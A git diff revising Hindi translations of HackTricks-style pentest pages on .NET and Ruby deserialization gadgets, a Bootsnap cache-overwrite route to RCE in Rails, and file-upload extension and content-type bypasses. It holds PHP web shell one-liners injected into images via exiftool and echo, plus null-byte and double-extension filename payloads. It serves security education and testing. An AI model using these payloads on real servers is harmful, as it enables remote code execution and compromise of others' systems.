- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** का उपयोग करके **एन्कोड** करेगा (जो विंडोज़ पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड दोनों UTF-16LE और ASCII में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||||
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** का उपयोग करके **एन्कोड** करेगा (जो विंडोज़ पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोकेंगी (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||||
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने के लिए प्लगइन्स का समर्थन करता है** जैसे ViewState
|
||||
|
||||
#### अधिक ysoserial.net पैरामीटर
|
||||
@ -710,7 +710,7 @@ In the **पिछले कोड में बनाए गए एक्सप
|
||||
|
||||
### ViewState
|
||||
|
||||
[**कैसे \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) को देखें **ताकि मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों** को जानते हैं, तो [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।**
|
||||
[**कैसे \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) को देखें **ताकि मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों को जानते हैं**, [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।**
|
||||
|
||||
### Prevention
|
||||
|
||||
@ -719,12 +719,12 @@ In the **पिछले कोड में बनाए गए एक्सप
|
||||
- **डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें।** जब संभव हो, `DataContractSerializer` या `XmlSerializer` का उपयोग करें।
|
||||
- **`JSON.Net` के लिए, `TypeNameHandling` को `None` पर सेट करें:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **`JavaScriptSerializer` का उपयोग `JavaScriptTypeResolver` के साथ करने से बचें।**
|
||||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की संपत्तियों को संशोधित कर सकता है, जिससे सेवा से इनकार के हमले हो सकते हैं।
|
||||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, संभावित रूप से सेवा से इनकार के हमलों का कारण बन सकता है।
|
||||
- **खतरनाक गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है।
|
||||
- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी संवेदनशील हो जाएं।
|
||||
- **`BinaryFormatter` और `JSON.Net` के लिए एक कस्टम `SerializationBinder` का उपयोग करके श्वेत सूची नियंत्रण लागू करें।**
|
||||
- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें।
|
||||
- **संभावित रूप से जोखिम भरे कोड को** इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर करने से बचा जा सके।
|
||||
- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों को इंस्टेंटिएट न करें।
|
||||
- **संभावित रूप से जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग करें** ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर न किया जा सके।
|
||||
|
||||
### **References**
|
||||
|
||||
@ -815,7 +815,7 @@ require "base64"
|
||||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
अन्य RCE श्रृंखला जो Ruby On Rails का शोषण करती है: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
अन्य RCE श्रृंखला Ruby On Rails का शोषण करने के लिए: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() विधि
|
||||
|
||||
@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
### Ruby _json pollution
|
||||
|
||||
जब किसी बॉडी में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए बॉडी में `_json` नामक एक मान सेट करना भी संभव है जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||||
जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए यह भी संभव है कि वह शरीर में `_json` नामक एक मान सेट करे जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||||
|
||||
अधिक जानकारी के लिए [Ruby _json pollution पृष्ठ](ruby-_json-pollution.md) पर जांचें।
|
||||
|
||||
@ -862,7 +862,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
यह तकनीक [**इस ब्लॉग पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) से ली गई थी।
|
||||
|
||||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
|
||||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें वे लोड की गई पुस्तकालय के भीतर अनसीरियलाइज होने पर कॉल करते हैं (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने `hash` फ़ंक्शन के अंदर `to_s` को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिससे इसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ डेसिरियलाइजेशन कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।
|
||||
Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने `hash` फ़ंक्शन के अंदर `to_s` को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ deserialization कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -922,6 +922,41 @@ Oj का दुरुपयोग करने की कोशिश के
|
||||
}
|
||||
}
|
||||
```
|
||||
ज्यादा जानकारी के लिए [**मूल पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) पर जाएं।
|
||||
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
यह वास्तव में एक deserialization vuln नहीं है, लेकिन एक अच्छा ट्रिक है bootstrap caching का दुरुपयोग करने के लिए RCE प्राप्त करने के लिए एक rails एप्लिकेशन से एक मनमाने फ़ाइल लेखन के साथ (पूर्ण [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) देखें)।
|
||||
|
||||
नीचे उन चरणों का संक्षिप्त सारांश है जो लेख में एक मनमाने फ़ाइल लेखन भेद्यता का शोषण करने के लिए Bootsnap caching का दुरुपयोग करने के लिए विस्तृत हैं:
|
||||
|
||||
- Identify the Vulnerability and Environment
|
||||
|
||||
Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp लिखने योग्य हैं क्योंकि Docker का नॉन-रूट उपयोगकर्ता है), यह अभी भी Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।
|
||||
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
Bootsnap Rails बूट समय को संकलित Ruby कोड, YAML, और JSON फ़ाइलों को कैश करके तेज करता है। यह कैश फ़ाइलें संग्रहीत करता है जिनमें एक कैश कुंजी हेडर होता है (जैसे Ruby संस्करण, फ़ाइल आकार, mtime, संकलन विकल्प, आदि के साथ फ़ील्ड) उसके बाद संकलित कोड होता है। इस हेडर का उपयोग ऐप स्टार्टअप के दौरान कैश को मान्य करने के लिए किया जाता है।
|
||||
|
||||
- Gather File Metadata
|
||||
|
||||
हमलावर पहले एक लक्षित फ़ाइल का चयन करता है जो संभवतः Rails स्टार्टअप के दौरान लोड होती है (उदाहरण के लिए, Ruby के मानक पुस्तकालय से set.rb)। कंटेनर के अंदर Ruby कोड निष्पादित करके, वे महत्वपूर्ण मेटाडेटा (जैसे RUBY_VERSION, RUBY_REVISION, आकार, mtime, और compile_option) निकालते हैं। यह डेटा एक मान्य कैश कुंजी बनाने के लिए आवश्यक है।
|
||||
|
||||
- Compute the Cache File Path
|
||||
|
||||
Bootsnap के FNV-1a 64-बिट हैश तंत्र की नकल करके, सही कैश फ़ाइल पथ निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि दुर्भावनापूर्ण कैश फ़ाइल ठीक उसी स्थान पर रखी गई है जहाँ Bootsnap इसे अपेक्षित करता है (जैसे, tmp/cache/bootsnap/compile-cache-iseq/ के तहत)।
|
||||
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
हमलावर एक पेलोड तैयार करता है जो:
|
||||
|
||||
- मनमाने आदेशों को निष्पादित करता है (उदाहरण के लिए, प्रक्रिया जानकारी दिखाने के लिए id चलाना)।
|
||||
- निष्पादन के बाद दुर्भावनापूर्ण कैश को हटा देता है ताकि पुनरावृत्त शोषण को रोका जा सके।
|
||||
- एप्लिकेशन को क्रैश करने से बचाने के लिए मूल फ़ाइल (जैसे, set.rb) को लोड करता है।
|
||||
|
||||
यह पेलोड बाइनरी Ruby कोड में संकलित किया जाता है और एक सावधानीपूर्वक निर्मित कैश कुंजी हेडर (पूर्व में एकत्रित मेटाडेटा और Bootsnap के लिए सही संस्करण संख्या का उपयोग करके) के साथ जोड़ा जाता है।
|
||||
|
||||
- Overwrite and Trigger Execution
|
||||
मनमाने फ़ाइल लेखन भेद्यता का उपयोग करके, हमलावर तैयार की गई कैश फ़ाइल को गणना की गई स्थान पर लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिससे दूरस्थ कोड निष्पादन (RCE) होता है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -17,11 +17,11 @@
|
||||
|
||||
### फ़ाइल एक्सटेंशन जांच को बायपास करें
|
||||
|
||||
1. यदि लागू हो, तो **पिछले एक्सटेंशनों की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशनों का भी उपयोग करें):_
|
||||
1. यदि लागू हो, तो **पिछले एक्सटेंशन** की **जांच** करें। कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशन का भी उपयोग करें):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशनों** का भी उपयोग कर सकते हैं_)
|
||||
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशन** का भी उपयोग कर सकते हैं_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशनों** का भी उपयोग कर सकते हैं._
|
||||
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशन** का भी उपयोग कर सकते हैं._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,26 +40,26 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. पिछले जांच में **एक और परत के एक्सटेंशनों** को जोड़ें:
|
||||
5. पिछले जांच के लिए **एक और परत के एक्सटेंशन** जोड़ें:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है):
|
||||
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है, लेकिन कोड निष्पादित करेगा):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
|
||||
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
|
||||
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
|
||||
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP बच जाता है। AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux अधिकतम 255 बाइट
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
|
||||
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
|
||||
# फ़ाइल अपलोड करें और जांचें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# पेलोड बनाएं
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### सामग्री-प्रकार, जादुई संख्या, संकुचन और आकार बदलने को बायपास करें
|
||||
### सामग्री-प्रकार, जादुई संख्या, संपीड़न और आकार बदलने को बायपास करें
|
||||
|
||||
- **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
@ -67,34 +67,34 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- यदि आपकी छवि में **संपीड़न जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संपीड़न** को **बचाए**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- वेब पृष्ठ भी **छवि** का **आकार बदलने** का कार्य कर सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संपीड़न** को **बचाए**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- एक और तकनीक जो एक पेलोड बनाने के लिए **छवि के आकार बदलने** को **बचाती है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करती है। हालाँकि, आप **tEXt chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- एक और तकनीक जो एक पेलोड बनाने के लिए **छवि के आकार बदलने** को **बचाती** है, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संपीड़न** को **बचाए**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### अन्य ट्रिक्स की जांच करें
|
||||
|
||||
- पहले से अपलोड की गई फ़ाइल का नाम **बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
|
||||
- बैकडोर को निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
|
||||
- बैकडोर निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
|
||||
- **संभावित जानकारी का खुलासा**:
|
||||
1. **एक ही समय में** **एक ही नाम** के साथ **कई बार** फ़ाइल अपलोड करें
|
||||
2. **पहले से मौजूद** फ़ाइल या **फोल्डर** के **नाम** के साथ फ़ाइल अपलोड करें
|
||||
1. **एक ही नाम** के साथ **एक ही फ़ाइल** को **कई बार** (और **एक ही समय में**) अपलोड करें।
|
||||
2. **पहले से मौजूद** फ़ाइल या **फोल्डर** के **नाम** के साथ फ़ाइल अपलोड करें।
|
||||
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
|
||||
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
|
||||
5. Windows में **अमान्य वर्णों** के साथ फ़ाइल अपलोड करें जैसे कि `|<>*?”` इसके नाम में। (Windows)
|
||||
6. Windows में **आरक्षित** (**निषिद्ध**) **नामों** के साथ फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
|
||||
